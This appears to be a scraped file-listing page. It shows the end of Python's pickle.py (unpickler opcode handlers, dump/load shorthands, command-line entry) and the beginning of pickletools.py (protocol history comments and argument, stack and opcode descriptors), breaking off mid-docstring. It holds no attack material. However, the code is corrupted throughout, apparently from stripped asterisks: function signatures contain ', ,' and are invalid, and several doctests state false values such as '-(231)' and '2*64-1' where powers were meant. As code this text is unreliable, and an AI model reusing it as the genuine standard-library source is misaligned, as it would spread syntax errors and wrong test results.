dispatch[POP[0]] = load_pop def load_pop_mark(self): self.pop_mark() dispatch[POP_MARK[0]] = load_pop_mark def load_dup(self): self.append(self.stack[-1]) dispatch[DUP[0]] = load_dup def load_get(self): i = int(self.readline()[:-1]) self.append(self.memo[i]) dispatch[GET[0]] = load_get def load_binget(self): i = self.read(1)[0] self.append(self.memo[i]) dispatch[BINGET[0]] = load_binget def load_long_binget(self): i, = unpack('<I', self.read(4)) self.append(self.memo[i]) dispatch[LONG_BINGET[0]] = load_long_binget def load_put(self): i = int(self.readline()[:-1]) if i < 0: raise ValueError("negative PUT argument") self.memo[i] = self.stack[-1] dispatch[PUT[0]] = load_put def load_binput(self): i = self.read(1)[0] if i < 0: raise ValueError("negative BINPUT argument") self.memo[i] = self.stack[-1] dispatch[BINPUT[0]] = load_binput def load_long_binput(self): i, = unpack('<I', self.read(4)) if i > maxsize: raise ValueError("negative LONG_BINPUT argument") self.memo[i] = self.stack[-1] dispatch[LONG_BINPUT[0]] = load_long_binput def load_memoize(self): memo = self.memo memo[len(memo)] = self.stack[-1] dispatch[MEMOIZE[0]] = load_memoize def load_append(self): stack = self.stack value = stack.pop() list = stack[-1] list.append(value) dispatch[APPEND[0]] = load_append def load_appends(self): items = self.pop_mark() list_obj = self.stack[-1] try: extend = list_obj.extend except AttributeError: pass else: extend(items) return # Even if the PEP 307 requires extend() and append() methods, # fall back on append() if the object has no extend() method # for backward compatibility. append = list_obj.append for item in items: append(item) dispatch[APPENDS[0]] = load_appends def load_setitem(self): stack = self.stack value = stack.pop() key = stack.pop() dict = stack[-1] dict[key] = value dispatch[SETITEM[0]] = load_setitem def load_setitems(self): items = self.pop_mark() dict = self.stack[-1] for i in range(0, len(items), 2): dict[items[i]] = items[i + 1] dispatch[SETITEMS[0]] = load_setitems def load_additems(self): items = self.pop_mark() set_obj = self.stack[-1] if isinstance(set_obj, set): set_obj.update(items) else: add = set_obj.add for item in items: add(item) dispatch[ADDITEMS[0]] = load_additems def load_build(self): stack = self.stack state = stack.pop() inst = stack[-1] setstate = getattr(inst, "__setstate__", None) if setstate is not None: setstate(state) return slotstate = None if isinstance(state, tuple) and len(state) == 2: state, slotstate = state if state: inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): if type(k) is str: inst_dict[intern(k)] = v else: inst_dict[k] = v if slotstate: for k, v in slotstate.items(): setattr(inst, k, v) dispatch[BUILD[0]] = load_build def load_mark(self): self.metastack.append(self.stack) self.stack = [] self.append = self.stack.append dispatch[MARK[0]] = load_mark def load_stop(self): value = self.stack.pop() raise _Stop(value) dispatch[STOP[0]] = load_stop # Shorthands def _dump(obj, file, protocol=None, , fix_imports=True): _Pickler(file, protocol, fix_imports=fix_imports).dump(obj) def _dumps(obj, protocol=None, , fix_imports=True): f = io.BytesIO() _Pickler(f, protocol, fix_imports=fix_imports).dump(obj) res = f.getvalue() assert isinstance(res, bytes_types) return res def _load(file, , fix_imports=True, encoding="ASCII", errors="strict"): return _Unpickler(file, fix_imports=fix_imports, encoding=encoding, errors=errors).load() def _loads(s, , fix_imports=True, encoding="ASCII", errors="strict"): if isinstance(s, str): raise TypeError("Can't load pickle from unicode string") file = io.BytesIO(s) return _Unpickler(file, fix_imports=fix_imports, encoding=encoding, errors=errors).load() # Use the faster _pickle if possible try: from _pickle import ( PickleError, PicklingError, UnpicklingError, Pickler, Unpickler, dump, dumps, load, loads ) except ImportError: Pickler, Unpickler = _Pickler, _Unpickler dump, dumps, load, loads = _dump, _dumps, _load, _loads # Doctest def _test(): import doctest return doctest.testmod() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser( description='display contents of the pickle files') parser.add_argument( 'pickle_file', type=argparse.FileType('br'), nargs='', help='the pickle file') parser.add_argument( '-t', '--test', action='store_true', help='run self-test suite') parser.add_argument( '-v', action='store_true', help='run verbosely; only affects self-test run') args = parser.parse_args() if args.test: _test() else: if not args.pickle_file: parser.print_help() else: import pprint for f in args.pickle_file: obj = load(f) pprint.pprint(obj)	56.63 KB	2024-04-17 17:55
📄 pickletools.py '''"Executable documentation" for the pickle module. Extensive comments about the pickle protocols and pickle-machine opcodes can be found here. Some functions meant for external use: genops(pickle) Generate all the opcodes in a pickle, as (opcode, arg, position) triples. dis(pickle, out=None, memo=None, indentlevel=4) Print a symbolic disassembly of a pickle. ''' import codecs import io import pickle import re import sys __all__ = ['dis', 'genops', 'optimize'] bytes_types = pickle.bytes_types # Other ideas: # # - A pickle verifier: read a pickle and check it exhaustively for # well-formedness. dis() does a lot of this already. # # - A protocol identifier: examine a pickle and return its protocol number # (== the highest .proto attr value among all the opcodes in the pickle). # dis() already prints this info at the end. # # - A pickle optimizer: for example, tuple-building code is sometimes more # elaborate than necessary, catering for the possibility that the tuple # is recursive. Or lots of times a PUT is generated that's never accessed # by a later GET. # "A pickle" is a program for a virtual pickle machine (PM, but more accurately # called an unpickling machine). It's a sequence of opcodes, interpreted by the # PM, building an arbitrarily complex Python object. # # For the most part, the PM is very simple: there are no looping, testing, or # conditional instructions, no arithmetic and no function calls. Opcodes are # executed once each, from first to last, until a STOP opcode is reached. # # The PM has two data areas, "the stack" and "the memo". # # Many opcodes push Python objects onto the stack; e.g., INT pushes a Python # integer object on the stack, whose value is gotten from a decimal string # literal immediately following the INT opcode in the pickle bytestream. Other # opcodes take Python objects off the stack. The result of unpickling is # whatever object is left on the stack when the final STOP opcode is executed. # # The memo is simply an array of objects, or it can be implemented as a dict # mapping little integers to objects. The memo serves as the PM's "long term # memory", and the little integers indexing the memo are akin to variable # names. Some opcodes pop a stack object into the memo at a given index, # and others push a memo object at a given index onto the stack again. # # At heart, that's all the PM has. Subtleties arise for these reasons: # # + Object identity. Objects can be arbitrarily complex, and subobjects # may be shared (for example, the list [a, a] refers to the same object a # twice). It can be vital that unpickling recreate an isomorphic object # graph, faithfully reproducing sharing. # # + Recursive objects. For example, after "L = []; L.append(L)", L is a # list, and L[0] is the same list. This is related to the object identity # point, and some sequences of pickle opcodes are subtle in order to # get the right result in all cases. # # + Things pickle doesn't know everything about. Examples of things pickle # does know everything about are Python's builtin scalar and container # types, like ints and tuples. They generally have opcodes dedicated to # them. For things like module references and instances of user-defined # classes, pickle's knowledge is limited. Historically, many enhancements # have been made to the pickle protocol in order to do a better (faster, # and/or more compact) job on those. # # + Backward compatibility and micro-optimization. As explained below, # pickle opcodes never go away, not even when better ways to do a thing # get invented. The repertoire of the PM just keeps growing over time. # For example, protocol 0 had two opcodes for building Python integers (INT # and LONG), protocol 1 added three more for more-efficient pickling of short # integers, and protocol 2 added two more for more-efficient pickling of # long integers (before protocol 2, the only ways to pickle a Python long # took time quadratic in the number of digits, for both pickling and # unpickling). "Opcode bloat" isn't so much a subtlety as a source of # wearying complication. # # # Pickle protocols: # # For compatibility, the meaning of a pickle opcode never changes. Instead new # pickle opcodes get added, and each version's unpickler can handle all the # pickle opcodes in all protocol versions to date. So old pickles continue to # be readable forever. The pickler can generally be told to restrict itself to # the subset of opcodes available under previous protocol versions too, so that # users can create pickles under the current version readable by older # versions. However, a pickle does not contain its version number embedded # within it. If an older unpickler tries to read a pickle using a later # protocol, the result is most likely an exception due to seeing an unknown (in # the older unpickler) opcode. # # The original pickle used what's now called "protocol 0", and what was called # "text mode" before Python 2.3. The entire pickle bytestream is made up of # printable 7-bit ASCII characters, plus the newline character, in protocol 0. # That's why it was called text mode. Protocol 0 is small and elegant, but # sometimes painfully inefficient. # # The second major set of additions is now called "protocol 1", and was called # "binary mode" before Python 2.3. This added many opcodes with arguments # consisting of arbitrary bytes, including NUL bytes and unprintable "high bit" # bytes. Binary mode pickles can be substantially smaller than equivalent # text mode pickles, and sometimes faster too; e.g., BININT represents a 4-byte # int as 4 bytes following the opcode, which is cheaper to unpickle than the # (perhaps) 11-character decimal string attached to INT. Protocol 1 also added # a number of opcodes that operate on many stack elements at once (like APPENDS # and SETITEMS), and "shortcut" opcodes (like EMPTY_DICT and EMPTY_TUPLE). # # The third major set of additions came in Python 2.3, and is called "protocol # 2". This added: # # - A better way to pickle instances of new-style classes (NEWOBJ). # # - A way for a pickle to identify its protocol (PROTO). # # - Time- and space- efficient pickling of long ints (LONG{1,4}). # # - Shortcuts for small tuples (TUPLE{1,2,3}}. # # - Dedicated opcodes for bools (NEWTRUE, NEWFALSE). # # - The "extension registry", a vector of popular objects that can be pushed # efficiently by index (EXT{1,2,4}). This is akin to the memo and GET, but # the registry contents are predefined (there's nothing akin to the memo's # PUT). # # Another independent change with Python 2.3 is the abandonment of any # pretense that it might be safe to load pickles received from untrusted # parties -- no sufficient security analysis has been done to guarantee # this and there isn't a use case that warrants the expense of such an # analysis. # # To this end, all tests for __safe_for_unpickling__ or for # copyreg.safe_constructors are removed from the unpickling code. # References to these variables in the descriptions below are to be seen # as describing unpickling in Python 2.2 and before. # Meta-rule: Descriptions are stored in instances of descriptor objects, # with plain constructors. No meta-language is defined from which # descriptors could be constructed. If you want, e.g., XML, write a little # program to generate XML from the objects. ############################################################################## # Some pickle opcodes have an argument, following the opcode in the # bytestream. An argument is of a specific type, described by an instance # of ArgumentDescriptor. These are not to be confused with arguments taken # off the stack -- ArgumentDescriptor applies only to arguments embedded in # the opcode stream, immediately following an opcode. # Represents the number of bytes consumed by an argument delimited by the # next newline character. UP_TO_NEWLINE = -1 # Represents the number of bytes consumed by a two-argument opcode where # the first argument gives the number of bytes in the second argument. TAKEN_FROM_ARGUMENT1 = -2 # num bytes is 1-byte unsigned int TAKEN_FROM_ARGUMENT4 = -3 # num bytes is 4-byte signed little-endian int TAKEN_FROM_ARGUMENT4U = -4 # num bytes is 4-byte unsigned little-endian int TAKEN_FROM_ARGUMENT8U = -5 # num bytes is 8-byte unsigned little-endian int class ArgumentDescriptor(object): __slots__ = ( # name of descriptor record, also a module global name; a string 'name', # length of argument, in bytes; an int; UP_TO_NEWLINE and # TAKEN_FROM_ARGUMENT{1,4,8} are negative values for variable-length # cases 'n', # a function taking a file-like object, reading this kind of argument # from the object at the current position, advancing the current # position by n bytes, and returning the value of the argument 'reader', # human-readable docs for this arg descriptor; a string 'doc', ) def __init__(self, name, n, reader, doc): assert isinstance(name, str) self.name = name assert isinstance(n, int) and (n >= 0 or n in (UP_TO_NEWLINE, TAKEN_FROM_ARGUMENT1, TAKEN_FROM_ARGUMENT4, TAKEN_FROM_ARGUMENT4U, TAKEN_FROM_ARGUMENT8U)) self.n = n self.reader = reader assert isinstance(doc, str) self.doc = doc from struct import unpack as _unpack def read_uint1(f): r""" >>> import io >>> read_uint1(io.BytesIO(b'\xff')) 255 """ data = f.read(1) if data: return data[0] raise ValueError("not enough data in stream to read uint1") uint1 = ArgumentDescriptor( name='uint1', n=1, reader=read_uint1, doc="One-byte unsigned integer.") def read_uint2(f): r""" >>> import io >>> read_uint2(io.BytesIO(b'\xff\x00')) 255 >>> read_uint2(io.BytesIO(b'\xff\xff')) 65535 """ data = f.read(2) if len(data) == 2: return _unpack("<H", data)[0] raise ValueError("not enough data in stream to read uint2") uint2 = ArgumentDescriptor( name='uint2', n=2, reader=read_uint2, doc="Two-byte unsigned integer, little-endian.") def read_int4(f): r""" >>> import io >>> read_int4(io.BytesIO(b'\xff\x00\x00\x00')) 255 >>> read_int4(io.BytesIO(b'\x00\x00\x00\x80')) == -(231) True """ data = f.read(4) if len(data) == 4: return _unpack("<i", data)[0] raise ValueError("not enough data in stream to read int4") int4 = ArgumentDescriptor( name='int4', n=4, reader=read_int4, doc="Four-byte signed integer, little-endian, 2's complement.") def read_uint4(f): r""" >>> import io >>> read_uint4(io.BytesIO(b'\xff\x00\x00\x00')) 255 >>> read_uint4(io.BytesIO(b'\x00\x00\x00\x80')) == 231 True """ data = f.read(4) if len(data) == 4: return _unpack("<I", data)[0] raise ValueError("not enough data in stream to read uint4") uint4 = ArgumentDescriptor( name='uint4', n=4, reader=read_uint4, doc="Four-byte unsigned integer, little-endian.") def read_uint8(f): r""" >>> import io >>> read_uint8(io.BytesIO(b'\xff\x00\x00\x00\x00\x00\x00\x00')) 255 >>> read_uint8(io.BytesIO(b'\xff' * 8)) == 2*64-1 True """ data = f.read(8) if len(data) == 8: return _unpack("<Q", data)[0] raise ValueError("not enough data in stream to read uint8") uint8 = ArgumentDescriptor( name='uint8', n=8, reader=read_uint8, doc="Eight-byte unsigned integer, little-endian.") def read_stringnl(f, decode=True, stripquotes=True): r""" >>> import io >>> read_stringnl(io.BytesIO(b"'abcd'\nefg\n")) 'abcd' >>> read_stringnl(io.BytesIO(b"\n")) Traceback (most recent call last): ... ValueError: no string quotes around b'' >>> read_stringnl(io.BytesIO(b"\n"), stripquotes=False) '' >>> read_stringnl(io.BytesIO(b"''\n")) '' >>> read_stringnl(io.BytesIO(b'"abcd"')) Traceback (most recent call last): ... ValueError: no newline found when trying to read stringnl Embedded escapes are undone in the result. >>> read_stringnl(io.BytesIO(br"'a\n\\b\x00c\td'" + b"\n'e'")) 'a\n\\b\x00c\td' """ data = f.readline() if not data.endswith(b'\n'): raise ValueError("no newline found when trying to read stringnl") data = data[:-1] # lose the newline if stripquotes: for q in (b'"', b"'"): if data.startswith(q): if not data.endswith(q): raise ValueError("strinq quote %r not found at both " "ends of %r" % (q, data)) data = data[1:-1] break else: raise ValueError("no string quotes around %r" % data) if decode: data = codecs.escape_decode(data)[0].decode("ascii") return data stringnl = ArgumentDescriptor( name='stringnl', n=UP_TO_NEWLINE, reader=read_stringnl, doc="""A newline-terminated string. This is a repr-style string, with embedded escapes, and bracketing quotes. """) def read_stringnl_noescape(f): return read_stringnl(f, stripquotes=False) stringnl_noescape = ArgumentDescriptor( name='stringnl_noescape', n=UP_TO_NEWLINE, reader=read_stringnl_noescape, doc="""A newline-terminated string. This is a str-style string, without embedded escapes, or bracketing quotes. It should consist solely of printable ASCII characters. """) def read_stringnl_noescape_pair(f): r""" >>> import io >>> read_stringnl_noescape_pair(io.BytesIO(b"Queue\nEmpty\njunk")) 'Queue Empty' """ return "%s %s" % (read_stringnl_noescape(f), read_stringnl_noescape(f)) stringnl_noescape_pair = ArgumentDescriptor( name='stringnl_noescape_pair', n=UP_TO_NEWLINE, reader=read_stringnl_noescape_pair, doc="""A pair of newline-terminated strings. These are str-style strings, without embedded escapes, or bracketing quotes. They should consist solely of printable ASCII characters. The pair is returned as a single string, with a single blank separating the two strings. """) def read_string1(f): r""" >>> import io >>> read_string1(io.BytesIO(b"\x00")) '' >>> read_string1(io.BytesIO(b"\x03abcdef")) 'abc' """ n = read_uint1(f) assert n >= 0 data = f.read(n) if len(data) == n: return data.decode("latin-1") raise ValueError("expected %d bytes in a string1, but only %d remain" % (n, len(data))) string1 = ArgumentDescriptor( name="string1", n=TAKEN_FROM_ARGUMENT1, reader=read_string1, doc="""A counted string. The first argument is a 1-byte unsigned int giving the number of bytes in the string, and the second argument is that many bytes. """) def read_string4(f): r""" >>> import io >>> read_string4(io.BytesIO(b"\x00\x00\x00\x00abc")) '' >>> read_string4(io.BytesIO(b"\x03\x00\x00\x00abcdef")) 'abc' >>> read_string4(io.BytesIO(b"\x00\x00\x00\x03abcdef")) Traceback (most recent call last): ... ValueError: expected 50331648 bytes in a string4, but only 6 remain """ n = read_int4(f) if n < 0: raise ValueError("string4 byte count < 0: %d" % n) data = f.read(n) if len(data) == n: return data.decode("latin-1") raise ValueError("expected %d bytes in a string4, but only %d remain" % (n, len(data))) string4 = ArgumentDescriptor( name="string4", n=TAKEN_FROM_ARGUMENT4, reader=read_string4, doc="""A counted string. The first argument is a 4-byte little-endian signed int giving the number of bytes in the string, and the second argument is that many bytes. """) def read_bytes1(f): r""" >>> import io >>> read_bytes1(io.BytesIO(b"\x00")) b'' >>> read_bytes1(io.BytesIO(b"\x03abcdef")) b'abc' """ n = read_uint1(f) assert n >= 0 data = f.read(n) if len(data) == n: return data raise ValueError("expected %d bytes in a bytes1, but only %d remain" % (n, len(data))) bytes1 = ArgumentDescriptor( name="bytes1", n=TAKEN_FROM_ARGUMENT1, reader=read_bytes1, doc="""A counted bytes string. The first argument is a 1-byte unsigned int giving the number of bytes, and the second argument is that many bytes. """) def read_bytes4(f): r""" >>> import io >>> read_bytes4(io.BytesIO(b"\x00\x00\x00\x00abc")) b'' >>> read_bytes4(io.BytesIO(b"\x03\x00\x00\x00abcdef")) b'abc' >>> read_bytes4(io.BytesIO(b"\x00\x00\x00\x03abcdef")) Traceback (most recent call last): ... ValueError: expected 50331648 bytes in a bytes4, but only 6 remain """ n = read_uint4(f) assert n >= 0 if n > sys.maxsize: raise ValueError("bytes4 byte count > sys.maxsize: %d" % n) data = f.read(n) if len(data) == n: return data raise ValueError("expected %d bytes in a bytes4, but only %d remain" % (n, len(data))) bytes4 = ArgumentDescriptor( name="bytes4", n=TAKEN_FROM_ARGUMENT4U, reader=read_bytes4, doc="""A counted bytes string. The first argument is a 4-byte little-endian unsigned int giving the number of bytes, and the second argument is that many bytes. """) def read_bytes8(f): r""" >>> import io, struct, sys >>> read_bytes8(io.BytesIO(b"\x00\x00\x00\x00\x00\x00\x00\x00abc")) b'' >>> read_bytes8(io.BytesIO(b"\x03\x00\x00\x00\x00\x00\x00\x00abcdef")) b'abc' >>> bigsize8 = struct.pack("<Q", sys.maxsize//3) >>> read_bytes8(io.BytesIO(bigsize8 + b"abcdef")) #doctest: +ELLIPSIS Traceback (most recent call last): ... ValueError: expected ... bytes in a bytes8, but only 6 remain """ n = read_uint8(f) assert n >= 0 if n > sys.maxsize: raise ValueError("bytes8 byte count > sys.maxsize: %d" % n) data = f.read(n) if len(data) == n: return data raise ValueError("expected %d bytes in a bytes8, but only %d remain" % (n, len(data))) bytes8 = ArgumentDescriptor( name="bytes8", n=TAKEN_FROM_ARGUMENT8U, reader=read_bytes8, doc="""A counted bytes string. The first argument is an 8-byte little-endian unsigned int giving the number of bytes, and the second argument is that many bytes. """) def read_unicodestringnl(f): r""" >>> import io >>> read_unicodestringnl(io.BytesIO(b"abc\\uabcd\njunk")) == 'abc\uabcd' True """ data = f.readline() if not data.endswith(b'\n'): raise ValueError("no newline found when trying to read " "unicodestringnl") data = data[:-1] # lose the newline return str(data, 'raw-unicode-escape') unicodestringnl = ArgumentDescriptor( name='unicodestringnl', n=UP_TO_NEWLINE, reader=read_unicodestringnl, doc="""A newline-terminated Unicode string. This is raw-unicode-escape encoded, so consists of printable ASCII characters, and may contain embedded escape sequences. """) def read_unicodestring1(f): r""" >>> import io >>> s = 'abcd\uabcd' >>> enc = s.encode('utf-8') >>> enc b'abcd\xea\xaf\x8d' >>> n = bytes([len(enc)]) # little-endian 1-byte length >>> t = read_unicodestring1(io.BytesIO(n + enc + b'junk')) >>> s == t True >>> read_unicodestring1(io.BytesIO(n + enc[:-1])) Traceback (most recent call last): ... ValueError: expected 7 bytes in a unicodestring1, but only 6 remain """ n = read_uint1(f) assert n >= 0 data = f.read(n) if len(data) == n: return str(data, 'utf-8', 'surrogatepass') raise ValueError("expected %d bytes in a unicodestring1, but only %d " "remain" % (n, len(data))) unicodestring1 = ArgumentDescriptor( name="unicodestring1", n=TAKEN_FROM_ARGUMENT1, reader=read_unicodestring1, doc="""A counted Unicode string. The first argument is a 1-byte little-endian signed int giving the number of bytes in the string, and the second argument-- the UTF-8 encoding of the Unicode string -- contains that many bytes. """) def read_unicodestring4(f): r""" >>> import io >>> s = 'abcd\uabcd' >>> enc = s.encode('utf-8') >>> enc b'abcd\xea\xaf\x8d' >>> n = bytes([len(enc), 0, 0, 0]) # little-endian 4-byte length >>> t = read_unicodestring4(io.BytesIO(n + enc + b'junk')) >>> s == t True >>> read_unicodestring4(io.BytesIO(n + enc[:-1])) Traceback (most recent call last): ... ValueError: expected 7 bytes in a unicodestring4, but only 6 remain """ n = read_uint4(f) assert n >= 0 if n > sys.maxsize: raise ValueError("unicodestring4 byte count > sys.maxsize: %d" % n) data = f.read(n) if len(data) == n: return str(data, 'utf-8', 'surrogatepass') raise ValueError("expected %d bytes in a unicodestring4, but only %d " "remain" % (n, len(data))) unicodestring4 = ArgumentDescriptor( name="unicodestring4", n=TAKEN_FROM_ARGUMENT4U, reader=read_unicodestring4, doc="""A counted Unicode string. The first argument is a 4-byte little-endian signed int giving the number of bytes in the string, and the second argument-- the UTF-8 encoding of the Unicode string -- contains that many bytes. """) def read_unicodestring8(f): r""" >>> import io >>> s = 'abcd\uabcd' >>> enc = s.encode('utf-8') >>> enc b'abcd\xea\xaf\x8d' >>> n = bytes([len(enc)]) + b'\0' 7 # little-endian 8-byte length >>> t = read_unicodestring8(io.BytesIO(n + enc + b'junk')) >>> s == t True >>> read_unicodestring8(io.BytesIO(n + enc[:-1])) Traceback (most recent call last): ... ValueError: expected 7 bytes in a unicodestring8, but only 6 remain """ n = read_uint8(f) assert n >= 0 if n > sys.maxsize: raise ValueError("unicodestring8 byte count > sys.maxsize: %d" % n) data = f.read(n) if len(data) == n: return str(data, 'utf-8', 'surrogatepass') raise ValueError("expected %d bytes in a unicodestring8, but only %d " "remain" % (n, len(data))) unicodestring8 = ArgumentDescriptor( name="unicodestring8", n=TAKEN_FROM_ARGUMENT8U, reader=read_unicodestring8, doc="""A counted Unicode string. The first argument is an 8-byte little-endian signed int giving the number of bytes in the string, and the second argument-- the UTF-8 encoding of the Unicode string -- contains that many bytes. """) def read_decimalnl_short(f): r""" >>> import io >>> read_decimalnl_short(io.BytesIO(b"1234\n56")) 1234 >>> read_decimalnl_short(io.BytesIO(b"1234L\n56")) Traceback (most recent call last): ... ValueError: invalid literal for int() with base 10: b'1234L' """ s = read_stringnl(f, decode=False, stripquotes=False) # There's a hack for True and False here. if s == b"00": return False elif s == b"01": return True return int(s) def read_decimalnl_long(f): r""" >>> import io >>> read_decimalnl_long(io.BytesIO(b"1234L\n56")) 1234 >>> read_decimalnl_long(io.BytesIO(b"123456789012345678901234L\n6")) 123456789012345678901234 """ s = read_stringnl(f, decode=False, stripquotes=False) if s[-1:] == b'L': s = s[:-1] return int(s) decimalnl_short = ArgumentDescriptor( name='decimalnl_short', n=UP_TO_NEWLINE, reader=read_decimalnl_short, doc="""A newline-terminated decimal integer literal. This never has a trailing 'L', and the integer fit in a short Python int on the box where the pickle was written -- but there's no guarantee it will fit in a short Python int on the box where the pickle is read. """) decimalnl_long = ArgumentDescriptor( name='decimalnl_long', n=UP_TO_NEWLINE, reader=read_decimalnl_long, doc="""A newline-terminated decimal integer literal. This has a trailing 'L', and can represent integers of any size. """) def read_floatnl(f): r""" >>> import io >>> read_floatnl(io.BytesIO(b"-1.25\n6")) -1.25 """ s = read_stringnl(f, decode=False, stripquotes=False) return float(s) floatnl = ArgumentDescriptor( name='floatnl', n=UP_TO_NEWLINE, reader=read_floatnl, doc="""A newline-terminated decimal floating literal. In general this requires 17 significant digits for roundtrip identity, and pickling then unpickling infinities, NaNs, and minus zero doesn't work across boxes, or on some boxes even on itself (e.g., Windows can't read the strings it produces for infinities or NaNs). """) def read_float8(f): r""" >>> import io, struct >>> raw = struct.pack(">d", -1.25) >>> raw b'\xbf\xf4\x00\x00\x00\x00\x00\x00' >>> read_float8(io.BytesIO(raw + b"\n")) -1.25 """ data = f.read(8) if len(data) == 8: return _unpack(">d", data)[0] raise ValueError("not enough data in stream to read float8") float8 = ArgumentDescriptor( name='float8', n=8, reader=read_float8, doc="""An 8-byte binary representation of a float, big-endian. The format is unique to Python, and shared with the struct module (format string '>d') "in theory" (the struct and pickle implementations don't share the code -- they should). It's strongly related to the IEEE-754 double format, and, in normal cases, is in fact identical to the big-endian 754 double format. On other boxes the dynamic range is limited to that of a 754 double, and "add a half and chop" rounding is used to reduce the precision to 53 bits. However, even on a 754 box, infinities, NaNs, and minus zero may not be handled correctly (may not survive roundtrip pickling intact). """) # Protocol 2 formats from pickle import decode_long def read_long1(f): r""" >>> import io >>> read_long1(io.BytesIO(b"\x00")) 0 >>> read_long1(io.BytesIO(b"\x02\xff\x00")) 255 >>> read_long1(io.BytesIO(b"\x02\xff\x7f")) 32767 >>> read_long1(io.BytesIO(b"\x02\x00\xff")) -256 >>> read_long1(io.BytesIO(b"\x02\x00\x80")) -32768 """ n = read_uint1(f) data = f.read(n) if len(data) != n: raise ValueError("not enough data in stream to read long1") return decode_long(data) long1 = ArgumentDescriptor( name="long1", n=TAKEN_FROM_ARGUMENT1, reader=read_long1, doc="""A binary long, little-endian, using 1-byte size. This first reads one byte as an unsigned size, then reads that many bytes and interprets them as a little-endian 2's-complement long. If the size is 0, that's taken as a shortcut for the long 0L. """) def read_long4(f): r""" >>> import io >>> read_long4(io.BytesIO(b"\x02\x00\x00\x00\xff\x00")) 255 >>> read_long4(io.BytesIO(b"\x02\x00\x00\x00\xff\x7f")) 32767 >>> read_long4(io.BytesIO(b"\x02\x00\x00\x00\x00\xff")) -256 >>> read_long4(io.BytesIO(b"\x02\x00\x00\x00\x00\x80")) -32768 >>> read_long1(io.BytesIO(b"\x00\x00\x00\x00")) 0 """ n = read_int4(f) if n < 0: raise ValueError("long4 byte count < 0: %d" % n) data = f.read(n) if len(data) != n: raise ValueError("not enough data in stream to read long4") return decode_long(data) long4 = ArgumentDescriptor( name="long4", n=TAKEN_FROM_ARGUMENT4, reader=read_long4, doc="""A binary representation of a long, little-endian. This first reads four bytes as a signed size (but requires the size to be >= 0), then reads that many bytes and interprets them as a little-endian 2's-complement long. If the size is 0, that's taken as a shortcut for the int 0, although LONG1 should really be used then instead (and in any case where # of bytes < 256). """) ############################################################################## # Object descriptors. The stack used by the pickle machine holds objects, # and in the stack_before and stack_after attributes of OpcodeInfo # descriptors we need names to describe the various types of objects that can # appear on the stack. class StackObject(object): __slots__ = ( # name of descriptor record, for info only 'name', # type of object, or tuple of type objects (meaning the object can # be of any type in the tuple) 'obtype', # human-readable docs for this kind of stack object; a string 'doc', ) def __init__(self, name, obtype, doc): assert isinstance(name, str) self.name = name assert isinstance(obtype, type) or isinstance(obtype, tuple) if isinstance(obtype, tuple): for contained in obtype: assert isinstance(contained, type) self.obtype = obtype assert isinstance(doc, str) self.doc = doc def __repr__(self): return self.name pyint = pylong = StackObject( name='int', obtype=int, doc="A Python integer object.") pyinteger_or_bool = StackObject( name='int_or_bool', obtype=(int, bool), doc="A Python integer or boolean object.") pybool = StackObject( name='bool', obtype=bool, doc="A Python boolean object.") pyfloat = StackObject( name='float', obtype=float, doc="A Python float object.") pybytes_or_str = pystring = StackObject( name='bytes_or_str', obtype=(bytes, str), doc="A Python bytes or (Unicode) string object.") pybytes = StackObject( name='bytes', obtype=bytes, doc="A Python bytes object.") pyunicode = StackObject( name='str', obtype=str, doc="A Python (Unicode) string object.") pynone = StackObject( name="None", obtype=type(None), doc="The Python None object.") pytuple = StackObject( name="tuple", obtype=tuple, doc="A Python tuple object.") pylist = StackObject( name="list", obtype=list, doc="A Python list object.") pydict = StackObject( name="dict", obtype=dict, doc="A Python dict object.") pyset = StackObject( name="set", obtype=set, doc="A Python set object.") pyfrozenset = StackObject( name="frozenset", obtype=set, doc="A Python frozenset object.") anyobject = StackObject( name='any', obtype=object, doc="Any kind of object whatsoever.") markobject = StackObject( name="mark", obtype=StackObject, doc="""'The mark' is a unique object. Opcodes that operate on a variable number of objects generally don't embed the count of objects in the opcode, or pull it off the stack. Instead the MARK opcode is used to push a special marker object on the stack, and then some other opcodes grab all the objects from the top of the stack down to (but not including) the topmost marker object. """) stackslice = StackObject( name="stackslice", obtype=StackObject, doc="""An object representing a contiguous slice of the stack. This is used in conjunction with markobject, to represent all of the stack following the topmost markobject. For example, the POP_MARK opcode changes the stack from [..., markobject, stackslice] to [...] No matter how many object are on the stack after the topmost markobject, POP_MARK gets rid of all of them (including the topmost markobject too). """) ############################################################################## # Descriptors for pickle opcodes. class OpcodeInfo(object): __slots__ = ( # symbolic name of opcode; a string 'name', # the code used in a bytestream to represent the opcode; a # one-character string 'code', # If the opcode has an argument embedded in the byte string, an # instance of ArgumentDescriptor specifying its type. Note that # arg.reader(s) can be used to read and decode the argument from # the bytestream s, and arg.doc documents the format of the raw # argument bytes. If the opcode doesn't have an argument embedded # in the bytestream, arg should be None. 'arg', # what the stack looks like before this opcode runs; a list 'stack_before', # what the stack looks like after this opcode runs; a list 'stack_after', # the protocol number in which this opcode was introduced; an int 'proto', # human-readable docs for this opcode; a string 'doc', ) def __init__(self, name, code, arg, stack_before, stack_after, proto, doc): assert isinstance(name, str) self.name = name assert isinstance(code, str) assert len(code) == 1 self.code = code assert arg is None or isinstance(arg, ArgumentDescriptor) self.arg = arg assert isinstance(stack_before, list) for x in stack_before: assert isinstance(x, StackObject) self.stack_before = stack_before assert isinstance(stack_after, list) for x in stack_after: assert isinstance(x, StackObject) self.stack_after = stack_after assert isinstance(proto, int) and 0 <= proto <= pickle.HIGHEST_PROTOCOL self.proto = proto assert isinstance(doc, str) self.doc = doc I = OpcodeInfo opcodes = [ # Ways to spell integers. I(name='INT', code='I', arg=decimalnl_short, stack_before=[], stack_after=[pyinteger_or_bool], proto=0, doc="""Push an integer or bool. The argument is a newline-terminated decimal literal string. The intent may have been that this always fit in a short Python int, but INT can be generated in pickles written on a 64-bit box that require a Python long on a 32-bit box. The difference between this and LONG then is that INT skips a trailing 'L', and produces a short int whenever possible. Another difference is due to that, when bool was introduced as a distinct type in 2.3, builtin names True and False were also added to 2.2.2, mapping to ints 1 and 0. For compatibility in both directions, True gets pickled as INT + "I01\\n", and False as INT + "I00\\n". Leading zeroes are never produced for a genuine integer. The 2.3 (and later) unpicklers special-case these and return bool instead; earlier unpicklers ignore the leading "0" and return the int. """), I(name='BININT', code='J', arg=int4, stack_before=[], stack_after=[pyint], proto=1, doc="""Push a four-byte signed integer. This handles the full range of Python (short) integers on a 32-bit box, directly as binary bytes (1 for the opcode and 4 for the integer). If the integer is non-negative and fits in 1 or 2 bytes, pickling via BININT1 